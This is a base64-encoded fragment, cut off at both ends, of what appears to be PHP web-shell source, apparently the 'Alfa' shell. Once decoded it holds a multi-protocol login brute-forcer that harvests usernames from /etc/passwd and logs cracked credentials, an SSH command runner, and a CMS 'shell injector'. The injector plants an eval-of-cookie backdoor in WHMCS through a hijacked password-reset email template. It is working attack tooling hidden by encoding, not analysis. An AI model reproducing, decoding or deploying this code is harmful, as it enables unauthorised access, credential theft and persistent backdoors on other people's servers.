mQnXS4iIik7JHJlc3VsdCA9IGN1cmxfZXhlYygkY3VybCk7JGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTskY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpO2lmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fWVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpe2VjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOyRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7Q3JhY2tlclJlc3VhbHQoJGluZm8pO31jdXJsX2Nsb3NlKCRjdXJsKTt9ICBmdW5jdGlvbiBBbGZhX015c3FsX0NyYWNrZXIoJGluZm8pe2lmKEBteXNxbGlfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10sJGluZm9bJ3VzZXJuYW1lJ10sJGluZm9bJ3Bhc3N3b3JkJ10pKXtDcmFja2VyUmVzdWFsdCgkaW5mbyk7ZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7fX0gIGZ1bmN0aW9uIEFsZmFfRlRQQygkaW5mbyl7aWYoJGNvbj1AZnRwX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLCRpbmZvWydwb3J0J10pKXtpZigkY29uKXskbG9naW49QGZ0cF9sb2dpbigkY29uLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKTtpZigkbG9naW4pe0NyYWNrZXJSZXN1YWx0KCRpbmZvKTt9fX1AZnRwX2Nsb3NlKCRjb24pO30gIGZ1bmN0aW9uIENyYWNrZXJSZXN1YWx0KCRpbmZvKXskcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7JGMgPSBAZm9wZW4oJGluZm9bJ2ZjcmFjayddLCdhKycpO0Bmd3JpdGUoJGMsICRyZXMpO0BmY2xvc2UoJGMpO30gIGZ1bmN0aW9uIEFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRtZXRob2QsJGluZm8pe3N3aXRjaCgkbWV0aG9kKXtjYXNlICdjcCc6cmV0dXJuIEFsZmFfQ1BfQ3JhY2tlcigkaW5mbyk7YnJlYWs7Y2FzZSAnZGlyZWN0JzogY2FzZSAncGhwbXlhZG1pbic6cmV0dXJuIEFsZmFfRGlyZWN0QWRtaW5fQ3JhY2tlcigkaW5mbyk7YnJlYWs7Y2FzZSAnZnRwJzpyZXR1cm4gQWxmYV9GVFBfQ3JhY2tlcigkaW5mbyk7YnJlYWs7Y2FzZSAnbXlzcWwnOnJldHVybiBBbGZhX015c3FsX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9GVFBDKCRpbmZvKTticmVhazt9fSAgZnVuY3Rpb24gYWxmYUNyYWNrZXJzKCl7YWxmYWhlYWQoKTtlY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEJydXRlIEZvcmNlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnQ3JhY2tlcnNcJyxudWxsLHRoaXMudGFyZ2V0LnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnVzZXJuYW1lcy52YWx1ZSx0aGlzLnBhc3N3b3Jkcy52YWx1ZSx0aGlzLmZjcmFjay52YWx1ZSxcJ3N0YXJ0XCcsdGhpcy5wcm90b2NvbC52YWx1ZSx0aGlzLmxvZ2lucGFuZWwudmFsdWUpO3JldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkxvZ2luIFBhZ2U6IDxzZWxlY3Qgb25jbGljaz0iZGlzX2lucHV0KHRoaXMudmFsdWUpOyIgbmFtZT0ibG9naW5wYW5lbCI+Jztmb3JlYWNoKGFycmF5KCdjcCc9PidDcGFuZWwnLCdkaXJlY3QnPT4nRGlyZWN0QWRtaW4nLCdmdHAnPT4nRlRQJywncGhwbXlhZG1pbic9PidQaHBNeUFkbWluW0RpcmVjdEFkbWluXScsJ215c3FsJz0+J215c3FsX2Nvbm5lY3QoKScsJ2Z0cGMnPT4nZnRwX2Nvbm5lY3QoKScpIGFzICRrZXk9PiR2YWwpZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+Jyk7ZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7Zm9yZWFjaChhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJykgYXMgJHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLiR2YWwuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTtlY2hvICc8L3NlbGVjdD4gV2Vic2l0ZS9pcCBBZGRyZXNzOiA8aW5wdXQgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0ibG9jYWxob3N0Ij5Qb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj48dGFibGUgd2lkdGg9IjMwJSI+PHRkIGFsaWduPSJjZW50ZXIiPlVzZXJzIExpc3Q8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj5QYXNzd29yZHM8L3RkPjwvdGFibGU+CTx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPiZuYnNwIDx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iUGFzc3dvcmRzIiByb3dzPSIyMCIgY29scz0iMjUiIG5hbWU9InBhc3N3b3JkcyI+PC90ZXh0YXJlYT48YnI+PGJyPlNhdmUgUmVzdWx0IEludG8gRmlsZSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmNyYWNrIiB2YWx1ZT0iY3JhY2tlZC50eHQiPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzskdGFyZ2V0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJ2h0dHBzOi8vJywnaHR0cDovLycsJ2Z0cDovLycpLCcnLCRfUE9TVFsnYWxmYTEnXSk7JHBvcnQgPSAkX1BPU1RbJ2FsZmEyJ107JHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOyRwYXNzd29yZHMgPSAkX1BPU1RbJ2FsZmE0J107JGZjcmFjayA9ICRfUE9TVFsnYWxmYTUnXTskY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107JHByb3RvY29sID0gJF9QT1NUWydhbGZhNyddOyRsb2dpbnBhbmVsID0gJF9QT1NUWydhbGZhOCddOyRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7aWYoJGNyYWNraW5nPT0nc3RhcnQnKXtlY2hvIF9fcHJlKCk7JGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTskZXhwdyA9IGV4cGxvZGUoIlxuIiwkcGFzc3dvcmRzKTtmb3JlYWNoKCRleHVzZXIgYXMgJHVzZXIpe2ZvcmVhY2goJGV4cHcgYXMgJHB3KXskYXJyYXkgPSBhcnJheSgndXNlcm5hbWUnID0+IHRyaW0oJHVzZXIpLCdwYXNzd29yZCcgPT4gdHJpbSgkcHcpLCdwb3J0JyA9PiB0cmltKCRwb3J0KSwndGFyZ2V0JyA9PiB0cmltKCR0YXJnZXQpLCdwcm90b2NvbCcgPT4gdHJpbSgkcHJvdG9jb2wpLCdmY3JhY2snID0+IHRyaW0oJGZjcmFjayksJ215c3FsJyA9PiAkcCk7QWxmYV9DYWxsX0Z1bmN0aW9uX0NyYWNrZXIoJGxvZ2lucGFuZWwsJGFycmF5KTt9fWVjaG8gJzxicj48Zm9udCBjb2xvcj0icmVkIj5BdHRhY2sgRmluaXNoZWQuLi48L2ZvbnQ+Jzt9ZWNobyAnPC9kaXY+JzthbGZhZm9vdGVyKCk7fSAgZnVuY3Rpb24gYWxmYXNzaDIoKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NzaDJfY29ubmVjdCcpKXskX1NFU1NJT05bJ2Nvbm5lY3RlZCddPSBmYWxzZTskc3NoX2lwID0gJF9QT1NUWydhbGZhMSddOyRzc2hfbG9naW4gPSAkX1BPU1RbJ2FsZmEyJ107JHNzaF9wYXNzID0gJF9QT1NUWydhbGZhMyddOyRzc2hfcG9ydCA9ICRfUE9TVFsnYWxmYTQnXTskc3NoX2NvbW1hbmQgPSAkX1BPU1RbJ2FsZmE1J107aWYoJGFsZmFjb25uZWN0MnNzaD1Ac3NoMl9jb25uZWN0KCRzc2hfaXAsICRzc2hfcG9ydCkpe2lmKCRhbGZhbG9naW49QHNzaDJfYXV0aF9wYXNzd29yZCgkYWxmYWNvbm5lY3Qyc3NoLCAkc3NoX2xvZ2luLCAkc3NoX3Bhc3MpKXskX1NFU1NJT05bJ2Nvbm5lY3RlZCddPSB0cnVlO319aWYoJF9TRVNTSU9OWydjb25uZWN0ZWQnXSE9PSB0cnVlKXthbGZhaGVhZCgpO2VjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7ZWNobyAiPGZvcm0gbmFtZT0nc3NoMicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZyhcInNzaDJcIixudWxsLHRoaXMuc3NoX2lwLnZhbHVlLHRoaXMuc3NoX2xvZ2luLnZhbHVlLHRoaXMuc3NoX3Bhc3MudmFsdWUsdGhpcy5zc2hfcG9ydC52YWx1ZSk7IHJldHVybiBmYWxzZTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQ+PGZvbnQgY29sb3I9XCIjZmZmZmZmXCI+PGI+SVA8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPlNTSCBVU0VSPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBjb2xvcj1cIiNmZmZmZmZcIj48Yj5TU0ggUEFTUzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgY29sb3I9XCIjZmZmZmZmXCI+PGI+U1NIIFBPUlQ8L2I+PC9mb250PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zc2hfaXAgdmFsdWU9Jyc+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNzaF9sb2dpbiB2YWx1ZT0nJz48L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3NoX3Bhc3MgdmFsdWU9Jyc+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNzaF9wb3J0IHZhbHVlPScnPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvdGQ+PC90YWJsZT48L2Zvcm0+PC9kaXY+IjthbGZhZm9vdGVyKCk7fWlmKCRfU0VTU0lPTlsnY29ubmVjdGVkJ109PXRydWUpe2FsZmFoZWFkKCk7ZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+IjtlY2hvICI8Zm9ybSBuYW1lPSdzc2gyJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdnKFwic3NoMlwiLG51bGwsXCIiLiRzc2hfaXAuIlwiLFwiIi4kc3NoX2xvZ2luLiJcIixcIiIuJHNzaF9wYXNzLiJcIixcIiIuJHNzaF9wb3J0LiJcIix0aGlzLnNzaF9jb21tYW5kLnZhbHVlLFwiPj5cIik7IHJldHVybiBmYWxzZTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNzaF9jb21tYW5kIHZhbHVlPScnPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2V4ZWN1dGUnIHZhbHVlPScgJz48L3RkPjwvdGFibGU+PC9mb3JtPjxmb3JtIG5hbWU9J3NzaDInIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2coXCdzc2gyXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7IHJldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSdkZXN0c2Vzc2lvbicgdmFsdWU9J2xvZ291dCc+PC9mb3JtPiI7JGFsZmFzdHJlYW0gPSBzc2gyX2V4ZWMoJGFsZmFjb25uZWN0MnNzaCwgJHNzaF9jb21tYW5kKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRhbGZhc3RyZWFtLHRydWUpOyRvdXRwdXQgPSBzc2gyX2ZldGNoX3N0cmVhbSgkYWxmYXN0cmVhbSxTU0gyX1NUUkVBTV9TVERJTyk7aWYoJF9QT1NUWydhbGZhNiddPT0nPj4nKXtlY2hvICc8cHJlIGNsYXNzPW1sMT4nO29iX3N0YXJ0KCk7ZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRvdXRwdXQpO2VjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7fWVjaG8gIjwvZGl2PiI7YWxmYWZvb3RlcigpO319ZWxzZXthbGZhaGVhZCgpO2VjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9InJlZCI+U2VydmVyIGRvZXMgbm90IHN1cHBvcnQgU1NIMjwvZm9udD48cD48L2I+PC9jZW50ZXI+PC9kaXY+JzthbGZhZm9vdGVyKCk7fX0gIGZ1bmN0aW9uIG91dHB1dCgkc3RyaW5nKXsgZWNobyAiPGJyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyIuJHN0cmluZy4iJz5DbGljayBIZXJlICE8L2E+PC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7fSAgZnVuY3Rpb24gYWxmYVNoZWxsSW5qZWN0b3JzKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsgIGVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ21zIFNoZWxsIEluamVjdG9yIHw8L2Rpdj48L3A+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxcJ3dobWNzXCcsbnVsbCkiPnwgV0hNQ1MgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNeUJCIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxudWxsLFwndmJcJykiPnwgdkJ1bGxldGluIHw8L2E+PC9oMz48L2NlbnRlcj4nOyAgJHNlbGVjdG9yID0gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNoZWxsIEluamVjdCBNZXRob2QgOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJtZXRob2QiIHN0eWxlPSJ3aWR0aDoxMDBweDsiPjxvcHRpb24gdmFsdWU9ImF1dG8iPkF1dG9NYXRpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1hbiI+TWFudWVsPC9vcHRpb24+PC9zZWxlY3Q+PC9wPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pICYmICRfUE9TVFsnYWxmYTEnXT09ICd3aG1jcycpeyAgZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXSE1DUyB8PC9kaXY+PC9wPjxjZW50ZXI+PGNlbnRlcj48cD4iLmdldENvbmZpZ0h0bWwoJ3dobWNzJykuIjwvcD48Zm9ybSBvblN1Ym1pdD1cImcoJ1NoZWxsSW5qZWN0b3JzJyxudWxsLCd3aG1jcycsbnVsbCxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wYXRoLnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+IjsgICR0YWJsZSA9IGFycmF5KCd0ZDEnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1BhdGggV0hNQ1MgVXJsIDogJywgJ2lucHV0TmFtZScgPT4gJ3BhdGgnLCAnaW5wdXRWYWx1ZScgPT4gJ2h0dHA6Ly9zaXRlLmNvbS93aG1jcycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDInID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkMycgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ0JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyIDogJywgJ2lucHV0TmFtZScgPT4gJ2RidScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDUnID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICRzZWxlY3RvcjsgIGVjaG8gIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE2J10pKSB7ICAkZGJ1ID0gJF9QT1NUWydhbGZhNiddOyAgJGRibiA9ICRfUE9TVFsnYWxmYTcnXTsgICRkYnAgPSAkX1BPU1RbJ2FsZmE4J107ICAkZGJoID0gJF9QT1NUWydhbGZhOSddOyAgJHBhdGggPSAkX1BPU1RbJ2FsZmExMCddOyAgJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsgICRpbmRleCA9ICJ7cGhwfSIuQUxGQV9VUExPQURFUi4iO3svcGhwfSI7ICAkbmV3aW4gPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkaW5kZXgpOyAgJG5ld2luZGV4ID0gIjxwPkRlYXIgJG5ld2luLDwvcD48cD5SZWNlbnRseSBhIHJlcXVlc3Qgd2FzIHN1Ym1pdHRlZCB0byByZXNldCB5b3VyIHBhc3N3b3JkIGZvciBvdXIgY2xpZW50IGFyZWEuIElmIHlvdSBkaWQgbm90IHJlcXVlc3QgdGhpcywgcGxlYXNlIGlnbm9yZSB0aGlzIGVtYWlsLiBJdCB3aWxsIGV4cGlyZSBhbmQgYmVjb21lIHVzZWxlc3MgaW4gMiBob3VycyB0aW1lLjwvcD48cD5UbyByZXNldCB5b3VyIHBhc3N3b3JkLCBwbGVhc2UgdmlzaXQgdGhlIHVybCBiZWxvdzo8YnIgLz48YSBocmVmPVwie1wkcHdfcmVzZXRfdXJsfVwiPntcJHB3X3Jlc2V0X3VybH08L2E+PC9wPjxwPldoZW4geW91IHZpc2l0IHRoZSBsaW5rIGFib3ZlLCB5b3VyIHBhc3N3b3JkIHdpbGwgYmUgcmVzZXQsIGFuZCB0aGUgbmV3IHBhc3N3b3JkIHdpbGwgYmUgZW1haWxlZCB0byB5b3UuPC9wPjxwPntcJHNpZ25hdHVyZX08L3A+e3BocH1pZihcJF9DT09LSUVbXCJzZWNcIl0gPT0gXCIxMjNcIil7ZXZhbChiYXNlNjRfZGVjb2RlKFwkX0NPT0tJRVtcInNlYzJcIl0pKTsgZGllKFwiIVwiKTt9e1wvcGhwfSI7ICBpZighZW1wdHkoJGRiaCkgJiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSAmJiAhZW1wdHkoJGluZGV4KSl7ICBpZihmaWx0ZXJfdmFyKCRwYXRoLEZJTFRFUl9WQUxJREFURV9VUkwpKXsgICRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOyAgJHNvbGVTYXZlPSBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBtZXNzYWdlIGZyb20gdGJsZW1haWx0ZW1wbGF0ZXMgd2hlcmUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciKTsgICRzb2xlR2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xlU2F2ZSk7ICAkdGVtcFNhdmUxID0gJHNvbGVHZXRbJ21lc3NhZ2UnXTsgICR0ZW1wU2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCR0ZW1wU2F2ZTEpOyAgJGluamVjdCA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9JyRuZXdpbmRleCcgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOyAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOyAgJGNyZWF0ZSA9ICJpbnNlcnQgaW50byB0YmxjbGllbnRzIChlbWFpbCkgdmFsdWVzKCdkci5pbmplY3Rpb25pQGhvdG1haWwuY29tJykiOyAgJHJlc3VsdDIgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsgIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpeyAgJEFsZmFTb2xlID0gbmV3IEFsZmFDVVJMKHRydWUpOyAgJHNhdmV1cmwgPSAkQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOyAgJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOyAgJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiLCJwb3N0IiwidG9rZW49eyR0b2tlblsxXX0mYWN0aW9uPXJlc2V0JmVtYWlsPWRyLmluamVjdGlvbmlAaG90bWFpbC5jb20iKTsgICRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7ICAkU29sZXZpc2libGUgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOyAgX19hbGVydCgic2hlbGwgaW5qZWN0ZXQuLi4iKTsgICRmZj0gJ2h0dHA6Ly8nLiRwYXRoLiIvc29sZXZpc2libGUucGhwIjsgIG91dHB1dCgkZmYpO31lbHNleyAgZWNobyAiPGJyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5QbGVhc2UgZ28gdG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRwYXRoLiIvcHdyZXNldC5waHAnIHRhcmdldD0nX2JsYW5rJz4iLiRwYXRoLiIvcHdyZXNldC5waHA8L2E+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+IEFuZCBSZXNldCBQYXNzd29yZCBXaXRoIEVtYWlsPC9mb250PiA9PiA8Zm9udCBjb2xvcj1yZWQ+ZHIuaW5qZWN0aW9uaUBob3RtYWlsLmNvbTwvZm9udD48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9zb2xldmlzaWJsZS5waHAnIHRhcmdldD0nX2JsYW5rJz4iLiRwYXRoLiIvc29sZXZpc2libGUucGhwPC9hPjwvYj48L2NlbnRlcj48YnI+PGJyPiI7fX1lbHNle19fYWxlcnQoJ1BhdGggaXMgbm90IFZhbGlkLi4uJyk7fX19ICB9aWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAkX1BPU1RbJ2FsZmEyJ109PSAnbXliYicpeyAgZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOyAgJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQyJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RibicsICdpZCc9PidkYl9uYW1lJyAsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemU